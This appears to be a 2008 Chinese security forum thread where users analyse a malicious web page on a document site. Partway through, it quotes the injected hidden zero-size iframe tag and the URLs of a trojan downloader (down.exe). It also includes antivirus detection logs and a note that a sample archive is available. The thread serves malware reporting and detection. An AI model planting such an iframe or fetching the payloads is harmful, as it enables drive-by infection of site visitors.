毒网一个

显示全部楼层 · 发表于 2008-1-10 18:33:04

hxxp://www.wenkoo.cn/wendang/caozuoxitong-1453
将xx替换成tt
如果没有comodo就中招了

显示全部楼层 · 发表于 2008-1-10 19:05:04

呵呵是这个：<IFRAME src="http://xxx.aishengho.com/3.htm" width=0 height=0 rder="0" framebo></IFRAME>

挂的是：
h**p://qqq.hao1658.com/down.exe

[ 本帖最后由 yimike 于 2008-1-10 19:21 编辑 ]

显示全部楼层 · 发表于 2008-1-10 19:07:21

1) http://www.wenkoo.cn/wendang/caozuoxitong-1453 : 未知网页
2) http://www.wenkoo.cn/css/main.css : 安全
3) http://www.wenkoo.cn/js/doc_title.js : 未知网页
4) http://www.wenkoo.cn/js/doc_body_top.js : 未知网页
5) http://pagead2.googlesyndication.com/pagead/show_ads.js : 未知网页
6) http://www.wenkoo.cn/js/doc_download.js : 未知网页
7) http://www.wenkoo.cn/js/doc_bottom.js : 未知网页

危险的链接：0
安全的链接：1
失效的链接：6
页面总数量：7

显示全部楼层 · 发表于 2008-1-10 19:14:58

(仅猜测)都指向它：
http://qqq.hao1658.com/down.exe

显示全部楼层 · 发表于 2008-1-10 19:19:59

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Malicious Code

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.26.32

显示全部楼层 · 发表于 2008-1-10 19:30:45

搜了半天，应该是联众的0day
调用GLCHAT.GLChatCtrl.1

显示全部楼层 · 发表于 2008-1-10 19:31:01

kis7
已删除：木马程序 Trojan-Downloader.Win32.Small.hdz 文件　: C:\Documents and Settings\hp\桌面\virus.rar/down.exe//PE_Patch//UPack

显示全部楼层 · 发表于 2008-1-10 23:46:11

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\virus.rar'
C:\Documents and Settings\Administrator\My Documents\
  virus.rar
[0] Archive type: RAR
   --> down.exe
      [1] Archive type: Runtime Packed
      --> Object
      [2] Archive type: RSRC
      --> Object
            [DETECTION] Is the Trojan horse TR/Dldr.Small.hdz.2
            [WARNING] Infected files in archives cannot be repaired!
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2008-1-11 09:16:30

样本1.rar (12.57 KB, 下载次数: 221)

显示全部楼层 · 发表于 2008-1-11 09:28:30

木马名称:Trojan-Downloader.Win32.Small.ljl

程序:
C:\DOCUMENTS AND SETTINGS\ZH\桌面\DOWN[1].EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?
木马名称:Trojan-Downloader.Win32.Small.ljl

程序:
C:\DOCUMENTS AND SETTINGS\ZH\桌面\DOWN.EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Malicious Code

用户来源：互联网

软件版本：20.26.32

[已鉴定] 毒网一个

回复 4楼 qianwenxiang 的帖子